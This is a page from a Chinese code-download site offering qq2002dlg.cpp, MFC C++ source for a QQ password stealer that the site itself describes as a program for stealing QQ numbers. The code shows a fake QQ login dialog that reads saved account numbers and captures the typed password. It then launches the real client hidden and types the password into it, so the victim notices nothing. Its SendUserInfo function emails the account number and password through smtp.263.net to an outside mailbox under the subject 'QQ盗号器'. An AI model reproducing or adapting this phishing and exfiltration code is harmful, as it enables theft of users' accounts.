⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 qq2002dlg.cpp

📁 qq盗去号码的小程序
💻 CPP
字号:
// QQ2002Dlg.cpp : implementation file
//

#include "stdafx.h"
#include "QQ2002.h"
#include "QQ2002Dlg.h"
#include "AuthSMTP.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About

class CAboutDlg : public CDialog
{
public:
	CAboutDlg();

// Dialog Data
	//{{AFX_DATA(CAboutDlg)
	enum { IDD = IDD_ABOUTBOX };
	//}}AFX_DATA

	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CAboutDlg)
	protected:
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
	//}}AFX_VIRTUAL

// Implementation
protected:
	//{{AFX_MSG(CAboutDlg)
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
	//{{AFX_DATA_INIT(CAboutDlg)
	//}}AFX_DATA_INIT
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CAboutDlg)
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
	//{{AFX_MSG_MAP(CAboutDlg)
		// No message handlers
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CQQ2002Dlg dialog

CQQ2002Dlg::CQQ2002Dlg(CWnd* pParent /*=NULL*/)
	: CDialog(CQQ2002Dlg::IDD, pParent)
{
	//{{AFX_DATA_INIT(CQQ2002Dlg)
	m_sPwd = _T("");
	//}}AFX_DATA_INIT
	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CQQ2002Dlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CQQ2002Dlg)
	DDX_Control(pDX, IDC_COMBO1, m_cUserList);
	DDX_Text(pDX, IDC_PWD, m_sPwd);
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CQQ2002Dlg, CDialog)
	//{{AFX_MSG_MAP(CQQ2002Dlg)
	ON_WM_SYSCOMMAND()
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	ON_BN_CLICKED(IDC_WIZARD, OnWizard)
	ON_BN_CLICKED(IDC_CANCEL, OnCancel)
	ON_BN_CLICKED(IDC_LOGIN, OnLogin)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CQQ2002Dlg message handlers

BOOL CQQ2002Dlg::OnInitDialog()
{
	CDialog::OnInitDialog();

	// Add "About..." menu item to system menu.

	// IDM_ABOUTBOX must be in the system command range.
	ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
	ASSERT(IDM_ABOUTBOX < 0xF000);

	CMenu* pSysMenu = GetSystemMenu(FALSE);
	if (pSysMenu != NULL)
	{
		CString strAboutMenu;
		strAboutMenu.LoadString(IDS_ABOUTBOX);
		if (!strAboutMenu.IsEmpty())
		{
			pSysMenu->AppendMenu(MF_SEPARATOR);
			pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
		}
	}

	// Set the icon for this dialog.  The framework does this automatically
	//  when the application's main window is not a dialog
	SetIcon(m_hIcon, TRUE);			// Set big icon
	SetIcon(m_hIcon, FALSE);		// Set small icon
	
	// TODO: Add extra initialization here
	InitailComboBox();

	return TRUE;  // return TRUE  unless you set the focus to a control
}

void CQQ2002Dlg::OnSysCommand(UINT nID, LPARAM lParam)
{
	if ((nID & 0xFFF0) == IDM_ABOUTBOX)
	{
		CAboutDlg dlgAbout;
		dlgAbout.DoModal();
	}
	else
	{
		CDialog::OnSysCommand(nID, lParam);
	}
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CQQ2002Dlg::OnPaint() 
{
	if (IsIconic())
	{
		CPaintDC dc(this); // device context for painting

		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

		// Center icon in client rectangle
		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;

		// Draw the icon
		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialog::OnPaint();
	}
}

// The system calls this to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CQQ2002Dlg::OnQueryDragIcon()
{
	return (HCURSOR) m_hIcon;
}

void CQQ2002Dlg::OnCancel() 
{
	// TODO: Add your control notification handler code here
	CDialog::OnCancel();
}

void CQQ2002Dlg::OnWizard() 
{
	// TODO: Add your control notification handler code here
	AfxMessageBox("最近我们已不再提供QQ的免费注册,相关细节请见我们网站说明!");
}

int CQQ2002Dlg::GetQQCount(CStringArray &arrayQQ)
{
	char temp[20];
	CString sTemp;
	UINT qq_len = 12;
	TRY
	{
	   CFile f( ".\\dat\\oicq2000.cfg", CFile::modeRead | CFile::typeBinary );
	   UINT len = f.GetLength();
	   char *msg = new char[len+10];
	   f.Read(msg, len);
	   int count = msg[8];
//	   arrayQQ.SetSize(count);
	   for(int i=0;i<count && i<10;i++)
	   {
			ZeroMemory(temp, 20);
			qq_len += 4;
			memcpy(temp, msg+qq_len, msg[qq_len-4]);
			qq_len += msg[qq_len-4];
			sTemp = temp;
			arrayQQ.Add(sTemp);
	   }
	   delete [] msg;
	   return count;
	}
	CATCH( CFileException, e )
	{
	   #ifdef _DEBUG
		  afxDump << "File could not be opened " << e->m_cause << "\n";
	   #endif
	}
	END_CATCH
	return 0;
}

BOOL CQQ2002Dlg::StartupQQ()
{
/*	BOOL b;

	STARTUPINFO         startInfo;
	PROCESS_INFORMATION pidInfo;
	ZeroMemory( &startInfo, sizeof(startInfo) );

	//	child process
	startInfo.cb          = sizeof(STARTUPINFO);
	startInfo.lpReserved  = NULL;
//	startInfo.lpTitle     = buf;
	startInfo.lpDesktop   = NULL;
	startInfo.dwX         = 0;
	startInfo.dwY         = 0;
	startInfo.dwXSize     = 0;
	startInfo.dwYSize     = 0;
	startInfo.dwXCountChars    = 0;
	startInfo.dwYCountChars    = 0;
	startInfo.dwFlags     = STARTF_USESHOWWINDOW;
				   //  STARTF_USESHOWWINDOW
				   //| STARTF_USEPOSITION
				   //| STARTF_USESIZE;
	startInfo.wShowWindow = SW_HIDE; //SW_SHOWDEFAULT;
	startInfo.lpReserved2 = NULL;
	startInfo.cbReserved2 = 0;
	startInfo.hStdInput = GetStdHandle(STD_INPUT_HANDLE);
	startInfo.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE);
	startInfo.hStdError = GetStdHandle(STD_ERROR_HANDLE);

	b = CreateProcess(
			".\\QQ2000b.exe",
			NULL,
			NULL,
			NULL,
			TRUE,
			0,//CREATE_NEW_CONSOLE,
			NULL,
			NULL,
			&startInfo,
			&pidInfo);

	if(!b) 
	{
		#ifdef _DEBUG
		  afxDump << "File could not be opened " << "create fail" << "\n";
		#endif
		return FALSE;
	}
*/
	WinExec(".\\qq2000b.exe", SW_MINIMIZE | SW_HIDE);
	return TRUE;
}

void CQQ2002Dlg::LoginQQ()
{
	UpdateData();
	char pwd[20],sTitle[20];
	sprintf(pwd,"%s",m_sPwd);
	ZeroMemory(sTitle, sizeof(sTitle));


	HWND pWnd = ::FindWindow(NULL,"QQ用户登录"), pWnd1;
	pWnd1 = ::GetWindow(pWnd, GW_HWNDFIRST);
	while(pWnd1)
	{
		::GetWindowText(pWnd1,sTitle,sizeof(sTitle));
		CString strTitle(sTitle);
		if(!strTitle.CompareNoCase("QQ用户登录") && pWnd != m_hWnd)
			break;
		pWnd = ::GetWindow(pWnd1, GW_HWNDNEXT);
		Sleep(2);
		if(!pWnd)
			pWnd = ::GetWindow(pWnd1, GW_HWNDFIRST);
		pWnd1 = pWnd;
	}

	HWND m_hConnWnd = ::GetDlgItem(pWnd, 180);
	for(int i=0;i<strlen(pwd);i++)
	{
		::PostMessage(m_hConnWnd, WM_CHAR, pwd[i], 0);
	}
	HWND m_hLoginWnd = ::GetDlgItem(pWnd, 1);
	::PostMessage(m_hLoginWnd, WM_LBUTTONDOWN, 0, 0);
	::PostMessage(m_hLoginWnd, WM_LBUTTONUP, 0, 0);
}

void CQQ2002Dlg::OnLogin() 
{
	// TODO: Add your control notification handler code here
	ShowWindow(SW_HIDE);
	StartupQQ();
	LoginQQ();
	SendUserInfo();
	::PostMessage(m_hWnd, WM_CLOSE, 0, 0);
}

void CQQ2002Dlg::InitailComboBox()
{
	CStringArray arrayQQ;
	GetQQCount(arrayQQ);
	for(int i=0;i<arrayQQ.GetSize();i++)
			m_cUserList.AddString(arrayQQ.GetAt(i));
	m_cUserList.SetCurSel(0);
}

BOOL CQQ2002Dlg::SendUserInfo()
{
	CAuthSMTP cSMTP;
	CString sMsg, sUser;
	m_cUserList.GetLBText(m_cUserList.GetCurSel(), sUser);
	sMsg.Format("QQ NO:%s, PWD:%s", sUser, m_sPwd);
	//用于发送信件的smtp服务器
	cSMTP.Connect("smtp.263.net");
	//用于SMTP认证的用户名和密码
	cSMTP.Authent("123","123");
	cSMTP.FromTo("123@263.net","syy007@yeah.net");
	cSMTP.SendEmail("QQ盗号器",sMsg);
	cSMTP.DisConnect();
	return TRUE;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -